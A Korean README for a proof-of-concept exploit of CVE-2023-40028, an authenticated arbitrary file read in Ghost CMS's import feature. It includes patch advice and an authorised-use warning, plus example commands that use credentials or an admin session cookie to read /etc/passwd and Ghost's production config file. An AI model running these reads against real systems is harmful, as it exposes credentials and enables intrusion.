
CVE-2023-40028용 POC: Ghost CMS 임의 파일 읽기
Ghost의 콘텐츠 가져오기 기능에서 발생하는 인증된 임의 파일 읽기 취약점인 CVE-2023-40028에 대한 개념 증명입니다. 조작된 ZIP 아카이브가 content/images 아래에 심볼릭 링크를 생성하여, 스크립트가 Ghost 호스트로부터 파일을 요청할 수 있게 합니다.
Ghost 5.59.1 이전 버전이 영향을 받습니다. 5.59.1 이상으로 업그레이드하십시오.
본인 소유이거나 테스트 권한이 부여된 시스템에만 사용하십시오.
requestsghost-admin-api-session 쿠키python3 -m venv .venv
source .venv/bin/activate
python -m pip install requests
사용자 이름과 비밀번호로 파일 하나를 읽습니다:
python3 ghost_fileread.py \
--url https://ghost.example \
--username [email protected] \
--password 'password' \
--file /etc/passwd
기존 관리자 세션 쿠키를 사용합니다:
python3 ghost_fileread.py \
--url https://ghost.example \
--cookie 'session-cookie-value' \
--file /var/lib/ghost/config.production.json
--file을 생략하면 대화형 file> 프롬프트가 열립니다. 프록시, 타임아웃, User-Agent 옵션은 python3 ghost_fileread.py --help를 실행하십시오.
이 엔드포인트는 텍스트를 반환하므로, 이 도구는 텍스트 파일용으로 설계되었습니다. 조작된 아카이브를 가져오면 대상의 content/images 디렉터리에 심볼릭 링크가 남습니다.